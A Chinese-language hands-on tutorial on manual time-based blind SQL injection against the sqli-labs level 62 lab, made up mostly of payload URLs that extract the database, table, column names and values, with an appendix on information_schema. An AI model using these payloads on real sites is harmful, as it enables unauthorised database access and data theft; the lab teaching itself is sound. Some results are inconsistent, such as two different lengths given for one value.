良心SQL注入手工教程(看完血虐sqlilabs全关)

声明

学习SQL注入,不要只会工具,多看一些原理层的东西,提升会很快,想好好学SQL注入的,务必把这一块拿下

正文

在了解SQL注入前,建议先去了解一下SQL相关的知识,本文中看一先看看附录,那里面有一些SQL的结构和常用的函数(SQL也是一类语言,那当然离不开函数),看完之后,可以开始正文啦,我们这里以sqlilabs的62关为例(为什么选62关,因为62关的数据库名不变,表名和字段名,都是随机的,这样我的payload你们只能套用,具体的操作还是需要过过小脑瓜的),就用这一关学习SQL注入最难拿下的点,手动盲注

判断闭合方式

看完1-65关的童鞋,应该都有体会,SQL注入前提是得有这个漏洞吧,所以我们判断闭合方式或者专业点以漏洞生命周期来说,首先得发现漏洞,那么如何发现漏洞?

对每一个字段,不要只以为用户名才会存在,只要是HTTP请求中的字段,都有可能存在SQL注入,像cookie,username,password,search都有可能,但是实际测试过程中,很多情况都是代码复用,所以根据模块,选一个就可以,怎么做呢?以62关为例,目标是id字段,先利用特殊符号进行判断

我们现在见到过这七种

’
')
'))
"
")
"))
空(也就是整形)

一般来说,质量比较低的代码不会隐藏报错信息,你把这些符号,输入到指定的字段中,如下

http://192.168.239.138:86/Less-62/index.php/?id=1'
http://192.168.239.138:86/Less-62/index.php/?id=1')
http://192.168.239.138:86/Less-62/index.php/?id=1'))
http://192.168.239.138:86/Less-62/index.php/?id=1"
http://192.168.239.138:86/Less-62/index.php/?id=1")
http://192.168.239.138:86/Less-62/index.php/?id=1"))
http://192.168.239.138:86/Less-62/index.php/?id=1

拼接后的SQL为

select … from … where id= -上述符号- …

拿一种情况做假设,假设原SQL语句为单引号包裹

select ... from ... where id='' ...

那么填入单引号后,变成,可以看到,1后面多了一个单引号,那么SQL就会报…syntax error语法错误,这就把用户输入的内容解析了,就说明存在SQL注入了,其他符号同理

select ... from ... where id='1'' ...

质量再高一点,会把报错信息隐藏,那么一般来说,下述两种情况,服务器给返回的不一样,可能一种返回正常页面,一种返回页面啥都没,那这时候就是存在了,其他符号同理

正常输入情况select ... from ... where id='1' ...
测试输入情况select ... from ... where id='1'' ...

质量再高一点,不管怎样,服务器都只返回一种页面,没有那么多回显,这种情况就需要盲注,被致盲了,我一般都用到这几个函数,if()、sleep()、left()、count()、ascii()、substr()、length()

继续,由于sleep()函数能让浏览器一直转圈,所以,浏览器没法骗我,如下,如果存在SQL注入,并且闭合方式为单引号’浏览器肯定会转圈

http://192.168.239.138:86/Less-62/index.php/?id=1' or sleep(3) --+

例如62关,当id值为下述

1') or sleep(3) --+
查询id时拼接后的SQL语句猜测
select ... from ... where id=('1') or sleep(3) --+)'

所以到此为止,漏洞发现,并且闭合方式也判断出来,就可以开始利用,爆库,爆表,爆字段,爆值

在这里插入图片描述

爆数据库

数据库,也就是当前数据库,思路:数据库长度->根据长度判断每一位

数据库长度payload如下

公式模板
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length(database())>n , sleep(3), 1) --+
其中,核心部分为length(database())>n,length()是求得长度,database()是获取当前数据库名称,那么length(database()),就是求得当前数据库的长度,使用if嵌套后,if(1,2,3)... 意思就是如果1成立,表达式结果为2,不成立,表达式结果为3,所以利用二分法,改变n的值以及n前面的符号(<,>,=),不断让length(database())和不同的数字比较大小,如果成立都会执行第二个语句,也就是sleep(3)

http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length(database())>9 , sleep(3), 1) --+
成立
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length(database())>10 , sleep(3), 1) --+
不成立
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length(database())=10 , sleep(3), 1) --+
成立,长度为10

既然已经判断出了长度,就应该把每一位取出来(共10位),判断每一位大小

数据库名payload分析如下

公式模板
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),a,b))=c,sleep(3),1)--+
其中,核心部分为ascii(substr((select database()),a,b))=c,select database()会返回查到数据库的名,外圈嵌套substr()截取函数,substr中参数a从1开始,表示从第一位开始截取,b从0开始表示截取长度,由于我们通常一位一位截取,所以b一般为1,因为很多数据库名,表名都是字母,字母之前比较很困难,所以将字母转成ascii码进行比较,就要用到ascii函数

第一位,先和100比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),1,1))>100,sleep(5),1)--+
浏览器没转圈,说明比100小,再和90比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),1,1))>90,sleep(3),1)--+
浏览器转圈,说明比90大,再和95比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),1,1))>95,sleep(3),1)--+
浏览器转圈,说明比95大,再和98比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),1,1))>98,sleep(3),1)--+
浏览器转圈,说明比98大,再和99比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),1,1))>98,sleep(3),1)--+
浏览器转圈,说明比98大,比100小,比98大,再和99做等号比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),1,1))=99,sleep(3),1)--+
至此为止,第一位拿下,第一位的ascii码为99,去acsii码表查看,值99对应的十进制为字符c,说明数据库第一位是c

以此类推,大家动手去判断一下,把公式中a从1到10,c也用刚刚的方法,每一位都判断一下,我这里的每一位结果如下
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),1,1))=99,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),2,1))=104,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),3,1))=97,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),4,1))=108,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),5,1))=108,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),6,1))=101,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),7,1))=110,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),8,1))=103,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),9,1))=101,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select database()),10,1))=115,sleep(3),1)--+
每一位都出来了,ascii码分别为
99 104 97 108 108 101 110 103 101 115
查找ascii码,对应的字符为
challenges
最后不忘在验证一下,从第一位到第十位全取出来,这次就不用ascii码了,直接和字符串比较,浏览器转圈了,数据库自然就是challenges
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(substr((select database()),1,10)='challenges',sleep(5),1)--+

爆表

已经知道了数据库名称,接下来该获取表的名称,思路:表个数->每张表的长度->根据每张表的长度判断每张表的每一位

表个数payload如下

公式模板
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='challenges')=n,sleep(3),1)--+
其中,核心部分为select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='challenges')=n,
count(TABLE_NAME)是求得表个数,where TABLE_SCHEMA='challenges'当数据库名称为challenges时,其实也常这么用where TABLE_SCHEMA=database(),具体怎么用看你心情,也就是说求得标的个数,和n比较,通过改变n的值以及n前面的符号(<,>,=),不断让count(TABLE_NAME)和不同的数字比较大小,如果成立都会执行第二个语句,也就是sleep(3)

http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='challenges')<5,sleep(3),1)--+
成立
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='challenges')<3,sleep(3),1)--+
不成立
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='challenges')<2,sleep(3),1)--+
成立,比2小,那应该是只有1
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='challenges')=1,sleep(3),1)--+
表个数为1

既然已经判断出了表个数,就应该判断每一张表的长度

表长度payload分析如下

公式模板
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length(select table_name from information_schema.tables where table_schema = database() limit a,b)=c,sleep(3),1)--+
其中,核心部分为limit a,b)=c,a从0开始,表示着第a+1张表开始,即a为0,就是第一张表开始,b一般取1,表示取几张,c就是最后比较的长度,那么,下面都代表第一张表的长度,是否小于15
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))<15,sleep(3),1)--+
浏览器转圈,说明比15小,再和10比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))<10,sleep(3),1)--+
浏览器没转圈,说明比10大或等于10,再和12比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))<12,sleep(3),1)--+
浏览器转圈,说明比12小,再和11比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))<11,sleep(3),1)--+
浏览器转圈,说明比11小,直接10比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))=10,sleep(3),1)--+
浏览器转圈,说明第一张表的长度为10
由于这里只有一张表,那么我们只做这第一张表的判断,往后,通过改变a的值(b就取默认为1不要变),来判断第2,3,4...表

把每一张表的每一位取出来(共1张表),判断每一位大小,也就是表名,这里和数据库名方法类似

表名payload分析如下

http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,b),c,d))>n,sleep(3),1)--+
其中,核心部分为limit a,b),c,d))>n,b和d一般默认为1,a从0开始,表示着第a+1张表开始,即a为0,就是第一张表开始,c从1开始,表示着从表名的第一位开始,那么,下面都代表第一张表的第一位的ascii码,是否大于100
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>100,sleep(3),1)--+

第一位,先和100比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>100,sleep(3),1)--+
浏览器转圈,说明比100大,再和120比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>120,sleep(3),1)--+
浏览器没转圈,说明比120小,再和110比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>110,sleep(3),1)--+
浏览器没转圈,说明比110小,再和105比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>105,sleep(3),1)--+
浏览器转圈,说明比105大,再和107比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>107,sleep(3),1)--+
浏览器转圈,说明比107大,再和109比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))<109,sleep(3),1)--+
浏览器转圈,说明比109小,比109小,比107大,再和108做等号比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=108,sleep(3),1)--+
至此为止,第一位拿下,第一位的ascii码为108,去acsii码表查看,值108对应的十进制为字符l,说明第一张表的第一位是l

以此类推,大家动手去判断一下,把公式中c从1到10,因为本关只有一张表,所以a都是0,每一位都判断一下,我这里的每一位结果如下
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=108,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=114,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1))=113,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),4,1))=112,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),5,1))=104,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1))=104,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),7,1))=114,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),8,1))=102,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),9,1))=107,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),10,1))=118,sleep(3),1)--+
每一位都出来了,ascii码分别为
108 114 113 112 104 104 114 102 107 118
查找ascii码,对应的字符为
lrqphhrfkv
最后不忘在验证一下,从第一位到第十位全取出来,这次就不用ascii码了,直接和字符串比较,浏览器转圈了,一张表名自然就是lrqphhrfkv
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,10))='lrqphhrfkv',sleep(3),1)--+

爆字段(列)

已经知道了表名称,接下来该获取字段的名称,思路:字段个数->每个字段的长度->根据每个字段的长度判断每个字段的每一位

字段个数payload如下

公式模板
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(column_name) from information_schema.columns where table_name='lrqphhrfkv')=n,sleep(3),1)--+

其中,核心部分,和n比较,通过改变n的值以及n前面的符号(<,>,=),不断让count(column_name)和不同的数字比较大小,如果成立都会执行第二个语句,也就是sleep(3)

http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(column_name) from information_schema.columns where table_name='lrqphhrfkv')<10,sleep(3),1)--+
成立
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(column_name) from information_schema.columns where table_name='lrqphhrfkv')<5,sleep(3),1)--+
成立
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(column_name) from information_schema.columns where table_name='lrqphhrfkv')>3,sleep(3),1)--+
成立,比5小,比3大,那应该是只有4
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(column_name) from information_schema.columns where table_name='lrqphhrfkv')=4,sleep(3),1)--+
字段个数为4

既然已经判断出了字段个数,就应该判断每个字段的长度

字段长度payload分析如下

公式模板
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='lrqphhrfkv' limit a,b)=c,sleep(3),1)--+
其中,核心部分为limit a,b)=c,a从0开始,表示着第a+1个字段开始,即a为0,就是第一个字段开始,b一般取1,表示取几个,c就是最后比较的长度,那么,下面都代表第一个字段的长度,是否小于5
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='lrqphhrfkv' limit 0,1)<5,sleep(3),1)--+

第一个字段
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='lrqphhrfkv' limit 0,1)<5,sleep(3),1)--+
浏览器转圈,说明比5小,再和3比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='lrqphhrfkv' limit 0,1)<3,sleep(3),1)--+
浏览器转圈,说明比3小,再和2比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='lrqphhrfkv' limit 0,1)<2,sleep(3),1)--+
浏览器转圈,说明比3小,比2不大
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='lrqphhrfkv' limit 0,1)=2,sleep(3),1)--+
浏览器转圈,说明第一个字段的长度为2
第二个字段,通过改变a的值(b就取默认为1不要变),来判断第2,3,4...个字段
第二个字段
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='lrqphhrfkv' limit 1,1)=6,sleep(3),1)--+
第三个字段
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='lrqphhrfkv' limit 2,1)=11,sleep(3),1)--+
第四个字段
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='lrqphhrfkv' limit 3,1)=4,sleep(3),1)--+

把每一个字段的每一位取出来(共4个字段),判断每一位大小,也就是字段名,这里和数据库名和表名方法类似

字段名payload分析如下

http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit a,b),c,d))>n,sleep(3),1)--+
其中,核心部分为limit a,b),c,d))>n,b和d一般默认为1,a从0开始,表示着第a+1个字段开始,即a为0,就是第一个字段开始,c从1开始,表示着从字段名的第一位开始,那么,下面都代表第一个字段的第一位的ascii码,是否大于100

http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),1,1))>100,sleep(3),1)--+

第一位,先和100比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),1,1))>100,sleep(3),1)--+
浏览器转圈,说明比100大,再和120比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),1,1))>120,sleep(3),1)--+
浏览器没转圈,说明比120小,再和110比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),1,1))>110,sleep(3),1)--+
浏览器没转圈,说明比110小,再和105比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),1,1))>105,sleep(3),1)--+
浏览器没转圈,说明不小于105大,再和102比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),1,1))>102,sleep(3),1)--+
浏览器转圈,说明比102大,再和104比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),1,1))>104,sleep(3),1)--+
浏览器转圈,说明比104大,不下雨105,再和105做等号比较
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),1,1))=105,sleep(3),1)--+
至此为止,第一位拿下,第一位的ascii码为105,去acsii码表查看,值105对应的十进制为字符i,说明第一张表的第一位是i

以此类推,大家动手去判断一下,把公式中a和c从往后推,我这里的最终结果如下

第一个字段(2位)
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),1,1))=105,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),2,1))=100,sleep(3),1)--+
ascii码分别为
105 100
对应的字符为
id
最后不忘在验证一下
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 0,1),1,2)='id',sleep(3),1)--+

第二个字段(6位)
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 1,1),1,1))=115,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 1,1),2,1))=101,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 1,1),3,1))=115,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 1,1),4,1))=115,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 1,1),5,1))=105,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 1,1),6,1))=100,sleep(3),1)--+
ascii码分别为
115 101 115 115 105 100
对应的字符为
sessid
最后不忘在验证一下
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 1,1),1,6)='sessid',sleep(3),1)--+

第三个字段(11位)
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),1,1))=115,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),2,1))=101,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),3,1))=99,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),4,1))=114,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),5,1))=101,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),6,1))=116,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),7,1))=95,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),8,1))=52,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),9,1))=88,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),10,1))=89,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),11,1))=48,sleep(3),1)--+
ascii码分别为
115 101 99 114 101 116 95 52 88 89 48
对应的字符为
secret_4XY0
最后不忘在验证一下
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 2,1),1,11)='secret_4XY0',sleep(3),1)--+

第四个字段(4位)
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 3,1),1,1))=116,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 3,1),2,1))=114,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 3,1),3,1))=121,sleep(3),1)--+
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 3,1),4,1))=121,sleep(3),1)--+
ascii码分别为
116 114 121 121
对应的字符为
tryy
最后不忘在验证一下
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(substr((select column_name from information_schema.columns where table_name='lrqphhrfkv' limit 3,1),1,6)='tryy',sleep(3),1)--+

爆值

已经知道了字段名称,接下来该获取字段的值,思路:字段值的个数(有多少条记录)->每个字段值的长度->每个字段值的每一位

字段值个数(有多少条记录)payload如下

公式模板
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(*) from lrqphhrfkv)=n,sleep(3),1)--+
其中,核心部分,和n比较,通过改变n的值以及n前面的符号(<,>,=),让查找到的count(*)(记录个数)和不同的数字比较大小,如果成立都会执行第二个语句,也就是sleep(3)

http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(*) from lrqphhrfkv)<5,sleep(3),1)--+
成立
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(*) from lrqphhrfkv)<3,sleep(3),1)--+
成立
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(*) from lrqphhrfkv)<2,sleep(3),1)--+
成立,比2小,那应该是只有1
http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(*) from lrqphhrfkv)=1,sleep(3),1)--+
lrqphhrfkv表只有一条记录

值长度payload如下

公式模板
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select column from lrqphhrfkv limit a,b))=n,sleep(3),1)--+
其中,核心部分,和n比较,通过改变n的值以及n前面的符号(<,>,=),让查找到的column(上一步测出的字段名称)和不同的数字比较大小,如果成立都会执行第二个语句,也就是sleep(3)

http://192.168.239.138:86/Less-62/index.php/?id=1') and if((select count(*) from lrqphhrfkv)=1,sleep(3),1)--+

http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select id from lrqphhrfkv limit 0,1))<5,sleep(3),1)--+
成立
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select id from lrqphhrfkv limit 0,1))<3,sleep(3),1)--+
成立
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select id from lrqphhrfkv limit 0,1))<2,sleep(3),1)--+
成立,比2小,那应该是只有1
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select id from lrqphhrfkv limit 0,1))=1,sleep(3),1)--+
id字段第一条记录长度为1

http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select sessid from lrqphhrfkv limit 0,1))=32,sleep(3),1)--+
sessid字段第一条记录长度为32

http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select secret_4XY0 from lrqphhrfkv limit 0,1))=24,sleep(3),1)--+
secret_4XY0字段第一条记录长度为1

http://192.168.239.138:86/Less-62/index.php/?id=1') and if(length((select tryy from lrqphhrfkv limit 0,1))=2,sleep(3),1)--+
tryy字段第一条记录长度为2

既然已经判断出了字段值的长度,就应该判断每个值的每一位

把每一个值的每一位取出来(共4个值),判断每一位大小,也就是值,这里和数据库名,表名和列名方法类似

值payload分析如下

http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select column from lrqphhrfkv limit a,b),c,d))=n,sleep(3),1)--+
其中,核心部分为limit a,b),c,d))>n,b和d一般默认为1,a从0开始,表示着第a+1个字段值(记录)开始,即a为0,就是第一条记录开始,c从1开始,表示着从column对应的记录值的第一位开始,那么,下面都代表id字段第一条记录的第一位的ascii码,是否小于100
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select id from lrqphhrfkv limit 0,1),1,1))<100,sleep(3),1)--+

id值为
http://192.168.239.138:86/Less-62/index.php/?id=1') and if(ascii(substr((select id from lrqphhrfkv limit 0,1),1,1))=49,sleep(3),1)--+
至此为止,第一位拿下,第一位的ascii码为49,去acsii码表查看,值49对应的十进制为字符1,说明id值为1

以此类推,大家动手去判断一下,把公式中a和c从往后推,我这里的最终结果如下

写了我一脊背汗,嘻嘻这是不是SQL注入自动化脚本的原理呢~

附录

information_schema

过关之前先要了解一下,我们要研究的是SQL注入,所以有必要先了解一下MYSQL数据库的重要库(表集合):information_schema,这个库中,存在着所有数据库的信息。。。这就意味着,如果我们可以利用漏洞,仅仅去查询这个库,就可以拿到关于数据库的大量信息了。

先看一下,这个数据库的位置
在这里插入图片描述

SCHEMATA

该表记录着所有的数据库名

图中,mysql命令行输入如喜爱命令,会显示目前为止所有的数据库(图左1)

show databases;

使用Navicat查看schemata表的SCHEMA_NAME字段显示所有的数据库(图右1)

使用Navicat连接mysql时左侧显示所有的数据库(图右2)

这三种结果都可以查看目前所有的数据库,这就意味着,如果我们可以操控SQL语句,可以通过查询SCHEMATA表里面的SCHEMA_NAME字段,来查看现有的所有数据库
在这里插入图片描述

TABLES

该表记录着所有的数据库与其表的对应关系

如图,该表里面,TABLE_SCHEMA字段记录着数据库,TABLE_NAME记录着TABLE_SCHEMA对应的表名称

所以靠这个账表,我们可以操纵SQL语句,查到所有的表名

在这里插入图片描述

COLUMNS

提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。

多了一个字段COLUMN_NAME

就是所有库对应的表对应的字段

闭合方式初识

判断闭合方式,目前掌握的闭合方式为单引号’’,单引号括号(’’),双引号"",双引号括号("")

当单引号或者双引号出现回显或者语法错误时,如何判断是否带括号呢?

抄袭一波大神的判断方式

遇到SQL注入第一步判断闭合:
